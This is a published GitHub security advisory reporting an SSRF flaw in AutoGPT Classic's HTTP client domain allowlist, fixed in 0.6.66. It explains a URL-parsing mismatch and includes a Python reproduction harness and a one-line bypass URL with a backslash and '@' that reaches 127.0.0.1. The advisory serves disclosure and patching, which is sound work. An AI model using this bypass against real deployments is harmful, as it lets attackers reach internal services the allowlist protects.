Skip to content

AutoGPT Classic: HTTP client domain allowlist bypass via userinfo and backslash URL tricks

Moderate
kcze published GHSA-xxpr-ccx5-48mf Jul 14, 2026

Package

pip autogpt-classic (pip)

Affected versions

< 0.6.66

Patched versions

0.6.66

Description

Summary

The URL checking logic in _is_domain_allowed has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The _make_request function validates the URL to be requested using _is_domain_allowed before sending the request.

QQ20260425-145802-25-1

The specific validation logic uses urlparse to parse the netloc portion of the URL and compares it with a whitelist. Only URLs that match the whitelist or end with a URL from the whitelist pass the validation.

QQ20260425-145733-25-2

However, there are indeed differences in parsing between urlparse and the library that actually sends the request.For example, for http://127.0.0.1:6666\@.whitelist.com, the netloc parsed by urlparse is 127.0.0.1:6666\@.whitelist.com, which is a URL ending with a whitelist, and therefore will pass the validation.

QQ20260425-150155-25-3

_make_request sends a request via requests.get, treating backslashes () as forwards (/). This means that for http://127.0.0.1:6666\@.whitelist.com, it will actually request http://127.0.0.1:6666/@.whitelist.com, bypassing existing whitelist checks and allowing attackers to request arbitrary addresses, thus enabling SSRF attacks.

QQ20260425-150356-25-4

I have successfully reproduced the vulnerability locally.

from __future__ import annotations

import importlib.util
import json
import sys
import types
from pathlib import Path
from typing import Any


def _install_minimal_forge_stubs() -> None:
    forge_mod = types.ModuleType("forge")
    agent_mod = types.ModuleType("forge.agent")
    components_mod = types.ModuleType("forge.agent.components")
    protocols_mod = types.ModuleType("forge.agent.protocols")
    command_mod = types.ModuleType("forge.command")
    models_mod = types.ModuleType("forge.models")
    json_schema_mod = types.ModuleType("forge.models.json_schema")
    utils_mod = types.ModuleType("forge.utils")
    exceptions_mod = types.ModuleType("forge.utils.exceptions")

    class ConfigurableComponent:
        def __class_getitem__(cls, _item: Any) -> type["ConfigurableComponent"]:
            return cls

        def __init__(self, config: Any = None):
            if config is None and hasattr(self, "config_class"):
                self.config = self.config_class()
            else:
                self.config = config

    class CommandProvider:
        pass

    class DirectiveProvider:
        pass

    class Command:
        pass

    def command(*_args: Any, **_kwargs: Any):
        def decorator(func):
            return func

        return decorator

    class JSONSchema:
        class Type:
            STRING = "string"
            OBJECT = "object"
            INTEGER = "integer"

        def __init__(self, **kwargs: Any):
            self.kwargs = kwargs

    class HTTPError(Exception):
        def __init__(
            self,
            message: str,
            status_code: int | None = None,
            url: str | None = None,
        ):
            super().__init__(message)
            self.status_code = status_code
            self.url = url

    components_mod.ConfigurableComponent = ConfigurableComponent
    protocols_mod.CommandProvider = CommandProvider
    protocols_mod.DirectiveProvider = DirectiveProvider
    command_mod.Command = Command
    command_mod.command = command
    json_schema_mod.JSONSchema = JSONSchema
    exceptions_mod.HTTPError = HTTPError

    sys.modules["forge"] = forge_mod
    sys.modules["forge.agent"] = agent_mod
    sys.modules["forge.agent.components"] = components_mod
    sys.modules["forge.agent.protocols"] = protocols_mod
    sys.modules["forge.command"] = command_mod
    sys.modules["forge.models"] = models_mod
    sys.modules["forge.models.json_schema"] = json_schema_mod
    sys.modules["forge.utils"] = utils_mod
    sys.modules["forge.utils.exceptions"] = exceptions_mod


def _load_http_client_module(project_root: Path):
    http_client_path = (
        project_root / "classic" / "forge" / "forge" / "components" / "http_client" / "http_client.py"
    ).resolve()
    if not http_client_path.exists():
        raise FileNotFoundError(f"http_client file not found: {http_client_path}")

    _install_minimal_forge_stubs()

    spec = importlib.util.spec_from_file_location("minimal_http_client", http_client_path)
    if spec is None or spec.loader is None:
        raise RuntimeError("Failed to create module spec for http_client.py")

    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    return module


def main() -> None:
    project_root = Path(__file__).resolve().parent
    module = _load_http_client_module(project_root)

    HTTPClientComponent = module.HTTPClientComponent
    HTTPClientConfiguration = module.HTTPClientConfiguration

    client = HTTPClientComponent(
        HTTPClientConfiguration(
            allowed_domains=["whitelist.com"],
            default_timeout=15,
        )
    )

    result = client._make_request(
        method="GET",
        # url="http://127.0.0.1:6666\@.whitelist.com",
        url="http://127.0.0.1:6666",
        headers={"Accept": "application/json"},
        params={"source": "autogpt_test"},
        timeout=10,
    )

    print("Request success:")
    print(json.dumps(result, indent=2, ensure_ascii=False))


if __name__ == "__main__":
    main()

When we configure the whitelist to whitelist.com, if an attacker wants to request http://127.0.0.1:6666, it will obviously be rejected because it is not a URL in the whitelist.

QQ20260425-150818-25-5

However, when the attacker uses http://127.0.0.1:6666\@.whitelist.com, the existing whitelist detection is successfully bypassed, and the attacker successfully carries out an SSRF attack.

QQ20260425-150943-25-6

PoC

http://127.0.0.1:6666\@.whitelist.com

Impact

SSRF

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits